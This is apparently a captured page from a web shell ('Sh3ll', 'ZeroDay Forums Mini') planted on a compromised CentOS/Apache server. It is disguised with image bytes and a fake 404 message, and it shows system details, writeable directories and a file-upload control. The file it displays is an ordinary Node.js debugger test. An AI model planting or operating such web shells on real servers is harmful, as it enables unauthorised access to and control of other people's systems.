����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-debugger-pid.js
'use strict';
const common = require('../common');
common.skipIfInspectorDisabled();
const assert = require('assert');
const spawn = require('child_process').spawn;

let buffer = '';

// Connect to debug agent
const interfacer = spawn(process.execPath, ['debug', '-p', '655555']);

interfacer.stdout.setEncoding('utf-8');
interfacer.stderr.setEncoding('utf-8');
const onData = (data) => {
  data = (buffer + data).split('\n');
  buffer = data.pop();
  data.forEach(function(line) {
    interfacer.emit('line', line);
  });
};
interfacer.stdout.on('data', onData);
interfacer.stderr.on('data', onData);

let lineCount = 0;
interfacer.on('line', function(line) {
  let expected;
  const pid = interfacer.pid;
  switch (++lineCount) {
    case 1:
      expected =
        new RegExp(`^\\(node:${pid}\\) \\[DEP0068\\] DeprecationWarning: `);
      assert.ok(expected.test(line), `expected regexp match for ${line}`);
      break;
    case 2:
      // Doesn't currently work on Windows.
      if (!common.isWindows) {
        expected = "Target process: 655555 doesn't exist.";
        assert.strictEqual(line, expected);
      }
      break;

    default:
      if (!common.isWindows)
        assert.fail(`unexpected line received: ${line}`);
  }
});

interfacer.on('exit', function(code, signal) {
  assert.strictEqual(code, 1, `Got unexpected code: ${code}`);
  if (!common.isWindows) {
    assert.strictEqual(lineCount, 2);
  }
});

ZeroDay Forums Mini